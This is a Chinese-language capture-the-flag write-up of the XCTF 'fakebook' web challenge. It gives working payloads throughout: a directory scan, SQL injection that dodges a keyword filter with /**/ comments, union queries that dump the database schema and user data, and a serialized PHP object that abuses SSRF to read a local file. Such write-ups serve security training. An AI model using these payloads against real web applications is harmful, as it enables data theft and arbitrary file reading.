XCTF fakebook
一.进入实验
1.先用 dirsearch 去扫描目录 python dirsearch.py -u "http://111.198.29.45:33988/" -e *
根据扫描的结果我们发现了robots.txt,user.php,view.php等等,扫完之后先不急着去访问,在进入实验环境后,
提示让我们注册一个账号,这里随便注册,注意一下blog的格式就行。
然后用我们注册好的账号进行登录。
2.登录后发现url 为 http://111.198.29.45:33988/view.php?no=1 ,第一时间想到是否存在sql注入,我们输入 '
根据报错的显示,可以肯定存在sql注入的,然后我们用 order by 语句判断查询的字段数目,以便于后续进行 union 查询,
先 输入 1 order by 6# ,查询失败。
然后我们再输入 1 order by 4 # ,此时页面显示正常,由此判断查询的字段数为4。
获得了字段数,我们就进行union联合查询,尝试输入 1 union select 1,database(),1,1 #
页面返回 no hack ~_~,很明显应该是后端检测到我们的注入关键词。
这里我们猜测它检测到的可能是 union select,我们尝试用/**/进行绕过,
在mysql中 /**/插入到sql语句中既可以当注释,也可以当空格,所以这里我们构造 -1 union/**/select 1,database(),1,1 #,
果然能够绕过成功,得到当前的数据库名为fakebook,那么我们以同样的方法获取其他数据:
获取表名: -1 union/**/select 1,group_concat(table_name),1,1 from information_schema.tables where table_schema='fakebook'#
获取列名: -1 union/**/select 1,group_concat(column_name),1,1 from information_schema.columns where table_name='users'#
这里我们重点看一下data,觉得可能有我们需要的信息: -1 union/**/select 1,data,1,1 from users #
这里发现data字段里面的值为我们开始注册是输入的信息,它将这些信息进行了序列化并存储在数据库中,然后当我们查询的时候再反序列化显示在前端。
3.开头我们扫描出了 robots.txt文件,那我们就访问看看。
再根据提示打开user.php.bak,发现了如下代码:
通过这段代码可以知道,这个函数会读取blog,然后访问它,如果访问成功则会读取文件的信息,否则返回404,
所以我们可以通过反序列化来实现ssrf读取任意文件,构造我们想要的路径,然后为了绕过正则,不从注册登录的地方下手,
直接人为构造联合查询返回语句,data字段在第四个位置。
构造如下:
view.php?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
注册成功后它就会显示你注册的账户信息,然后查看源码,如下图,点击iframe的src属性值即可获得flag